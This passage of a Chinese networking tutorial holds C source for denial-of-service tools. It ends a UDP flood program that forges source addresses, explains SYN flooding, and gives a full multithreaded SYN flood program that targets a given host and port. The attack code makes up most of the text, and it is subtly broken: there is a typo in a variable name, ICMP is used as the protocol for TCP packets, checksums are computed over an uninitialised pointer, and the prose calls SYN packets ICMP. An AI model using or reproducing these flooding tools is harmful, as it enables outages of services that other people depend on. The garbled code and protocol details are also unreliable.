//如果为奇数,将剩余一个字节单独计算,剩余的一个字节为高字节,构建一个short类型变量
if(left==1)
{
*(unsigned char*)(&ret)=*(unsigned char*)word;
sum+=ret;
}
//折叠
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
//取反
ret=~sum;
return ret;
}
//自定义随机数产生函数,系统随机函数为伪随机函数,其值与初始化有关,因此采用不同的值进行初始化
static inline long myrandom(int begin,int end)
{
int gap=end-begin+1;
int ret=0;
//用系统时间初始化
srand((unsigned)time(0));
//产生一个介于begin和end之间的值
ret=random()%gap+begin;
return ret;
}
//UDP发送核心处理函数Dos_udp
static void Dos_udp()
{
#define K 1024
#define DATUML (3*K) //UDP数据部分长度
//数据总长度
int tot_len=sizeof(struct ip)+sizeof(struct udphdr)+DATUML;
//发送目的地址
struct sockaddr_in to;
//Dos结构,分为IP头部、UDP头部、UDP数据部分
struct dosseg_t
{
struct ip iph;
struct udphdr udph;
unsigned char data[65535];
}dosseg;
//IP地址版本,IPv4
dosseg.iph.ip_v=4;
//IP头部长度,字节数
dosseg.iph.ip_hl=5;
//服务类型
dosseg.iph.ip_tos=0;
//IP报文的总长度
dosseg.iph.ip_len=htons(tot_len);
//标识,设置PID
dosseg.iph.ip_id=htons(getpid());
//段的偏移地址
dosseg.iph.ip_off=0;
//TTL
dosseg.iph.ip_ttl=myrandom(200,255);
//协议类型
dosseg.iph.ip_p=PROTO_UDP;
//校验和,先填写为0
dosseg.iph.ip_sum=0;
//发送的源地址
dosseg.iph.ip_src.s_addr=(unsigned long)myrandom(0,65535);
//发送目的地址
dosseg.iph.ip_dst.s_addr=dest;
dosseg.iph.ip_sum=Dos_cksum((unsigned short*)&dosseg.iph,sizeof(dosseg.iph));
#ifdef __FAVOR_BSD
//UDP源端口
dosseg.udph.uh_sport=(unsigned long)myrandom(0,65535);
//UDP目的端口
dosseg.udph.uh_dport=dest_port;
//UDP数据长度
dosseg.udph.uh_ulen=htons(sizeof(dosseg.udph)+DATUML);
//校验和,先填写0
dosseg.udph.uh_sum=0;
dosseg.udph.uh_sum=Dos_cksum((unsigned short*)&desseg.udph,tot_len);
#else
//UDP源端口
dosseg.udph.source=(unsigned long)myrandom(0,65535);
//UDP目的端口
dosseg.udph.dest=dest_port;
//UDP数据长度
dosseg.udph.len=htons(sizeof(dosseg.udph)+DATUML);
//校验和,先填写0
dosseg.udph.check=0;
dosseg.udph.check=Dos_cksum((unsigned short*)&dosseg.udph,tot_len);
#endif
//填写发送目的地址部分
to.sin_family=AF_INET;
to.sin_addr.s_addr=dest;
to.sin_port=htons(0);
//发送数据
sendto(rawsock,&dosseg,tot_len,0,(struct sockaddr*)&to,sizeof(struct sockaddr));
}
//线程函数Dos_fun
static void *Dos_fun(void *ip)
{
while(alive)
{
Dos_udp();
}
}
//捕捉ctrl+c信号函数
static void Dos_sig()
{
alive=0;
printf("pthread exit!捕捉到ctrl+c信号,线程结束\n");
return;
}
十、SYN洪水攻击
SYN洪水攻击也称为拒绝服务攻击,它利用了TCP的三次握手
,利用大量的TCP连接请求造成目标机的资源耗尽,而不能提供正常的服务或者服务质量下降。
1.SYN洪水攻击的原理
一般 TCP 连接函数 connect(), 经历了三次握手,如果从IP层协议来看,客户端先发送SYN
请求,服务器对客户端的SYN
进行响应,而客户端对服务器的响应再次进行确认后才建立了 一 个 TCP 的连接。
在服务器发送响应后,要等待一 段时间才能获得客户端的确认,即第二次和第三次握手之间有
一个超时时间,SYN攻击就利用了这个时机。
TCP三次握手过程如下图所示:
-
主机A需要TCP连接主机B,在建立连接之前,主机A发送一个
ICMP的SYN
数据包给主机B; -
主机B在接收到主机A的报文后,发送给主机A一个回应;
-
主机A接收到主机B的响应后,又给主机B一个报文,表示接收到了主机B的连接请求;
-
主机B正确接收到主机A的报文后,TCP连接才正式连接。
SYN攻击利用第二次握手的手段如下:
-
主机A发送
ICMP的SYN
请求给主机B, 主机A发送的报文的源地址IP是 个伪造的IP。主机B的第二次握手之后需等待一 段时间,接收主机 A 的确认包,在超时时间内此资源一直占用。如果主机 B 的处理 TCP 三次握手的资源不能满足处理主机A的SYN请求数量,则主机B的可用资源就会慢慢减少,直到耗尽。 -
主机A发送的报文是原始报文,发送报文的速度可以达到很高,因此有足够的资源能对目标机造成影响。
2.SYN洪水攻击的例子
#include<stdio.h>
#include<ctype.h>
#include<signal.h>
#include<fcntl.h>
#include<sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include<errno.h>
#include<arpa/inet.h>
#include<string.h>
#include<pthread.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>
#include<unistd.h>
#include<sys/types.h>
#include<linux/types.h>
#define MAXCHILD 128 //最多线程数
static unsigned long dest=0; //目的IP地址
static unsigned short dest_port = 0;
static int PROTO_UDP =-1; //ICMP协议的值
static int alive=-1; //程序活动标
static int rawsock = -1;
//函数声明
static inline long myrandom(int begin,int end); //自定义随机函数
static unsigned short Dos_cksum(unsigned short* data,int length);//CRC校验
static void Dos_syn(); //UDP核心处理函数
//线程函数Dos_fun
static void *Dos_fun(void *ip)
{
while(alive)
{
Dos_syn();
}
}
//捕捉ctrl+c信号函数
static void Dos_sig()
{
alive=0;
printf("pthread exit!捕捉到ctrl+c信号,线程结束\n");
return;
}
int main(int argc,char* argv[])
{
struct hostent* host=NULL;
struct protoent* protocol=NULL;
char protoname[]="icmp";
int i=0;
pthread_t pthread[MAXCHILD];
int err=-1;
alive=1;
signal(SIGINT,Dos_sig); //截取信号ctrl+c
//参数设置是否正确
if(argc<3)
{
return -1;
}
//获取协议类型ICMP
protocol=getprotobyname(protoname);
if(protocol==NULL)
{
perror("getprotobyname()");
return -1;
}
PROTO_UDP=protocol->p_proto;
//输入的目的地址为字符串IP地址
dest=inet_addr(argv[1]);
if(dest==INADDR_NONE)
{
//输入目的地址为DNS地址
host=gethostbyname(argv[1]);
if(host==NULL)
{
perror("gethostbyname()");
return -1;
}
//将地址复制到dest中
memcpy((char*)&dest,host->h_addr,host->h_length);
}
//目的端口
dest_port=atoi(argv[2]);
//建立原始socket
rawsock=socket(AF_INET,SOCK_RAW,PROTO_UDP);
//设置IP选项
setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));
//建立多个线程协同工作
for(i=0;i<MAXCHILD;i++)
{
err=pthread_create(&pthread[i],NULL,Dos_fun,NULL);
} //等待线程结束
for(i=0;i<MAXCHILD;i++)
{
pthread_join(pthread[i],NULL);
}
close(rawsock);
return 0;
}
//CRC16校验
static unsigned short Dos_cksum(unsigned short* data,int length)
{
register int left=length;
register unsigned short* word=data;
register int sum=0;
unsigned short ret=0;
//计算偶数字节
while(left>1)
{
sum+=*word++;
left-=2;
}
//如果为奇数,将剩余一个字节单独计算,剩余的一个字节为高字节,构建一个short类型变量
if(left==1)
{
*(unsigned char*)(&ret)=*(unsigned char*)word;
sum+=ret;
}
//折叠
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
//取反
ret=~sum;
return ret;
}
//自定义随机数产生函数,系统随机函数为伪随机函数,其值与初始化有关,因此采用不>同的值进行初始化
static inline long myrandom(int begin,int end)
{
int gap=end-begin+1;
int ret=0;
//用系统时间初始化
srand((unsigned)time(0));
//产生一个介于begin和end之间的值
ret=random()%gap+begin;
return ret;
}
//UDP发送核心处理函数Dos_udp
static void Dos_syn(void)
{
char *buffer;
//
//发送目的地址
struct sockaddr_in to;
//Dos结构,分为IP头部、UDP头部、UDP数据部分
struct dosseg_t
{
struct ip iph;
struct tcphdr tcph;
unsigned char data[8192];
}dosseg;
//IP地址版本,IPv4
dosseg.iph.ip_v=4;
//IP头部长度,字节数
dosseg.iph.ip_hl=5;
//服务类型
dosseg.iph.ip_tos=0;
//IP报文的总长度
dosseg.iph.ip_len=htons(sizeof(struct ip)+sizeof(struct tcphdr));
//标识,设置PID
dosseg.iph.ip_id=htons(getpid());
//段的偏移地址
dosseg.iph.ip_off=0;
//TTL
dosseg.iph.ip_ttl=myrandom(128,255);
//协议类型
dosseg.iph.ip_p=PROTO_UDP;
//校验和,先填写为0
dosseg.iph.ip_sum=0;
//发送的源地址
dosseg.iph.ip_src.s_addr=(unsigned long)myrandom(0,65535);
//发送目的地址
dosseg.iph.ip_dst.s_addr=dest;
dosseg.tcph.seq=(unsigned long)myrandom(0,65535);
dosseg.tcph.ack_seq = htons(myrandom(0,65535));
dosseg.tcph.syn = 1;
dosseg.tcph.urg = 1;
dosseg.tcph.window = htons(myrandom(0,65535));
dosseg.tcph.check = 0;
dosseg.tcph.urg_ptr = htons(myrandom(0,65535));
dosseg.tcph.check = Dos_cksum((unsigned short*)buffer,(sizeof(struct ip)+sizeof(struct tcphdr)+1)&~1);
dosseg.iph.ip_sum = Dos_cksum((unsigned short*) buffer,(4*dosseg.iph.ip_hl+sizeof(struct tcphdr)+1)& ~1);
//填写发送目的地址部分
to.sin_family=AF_INET;
to.sin_addr.s_addr=dest;
to.sin_port=htons(0);
//发送数据
sendto(rawsock,&dosseg,4*dosseg.iph.ip_hl+sizeof(struct tcphdr),0,(struct sockaddr*)&to,sizeof(struct sockaddr));
}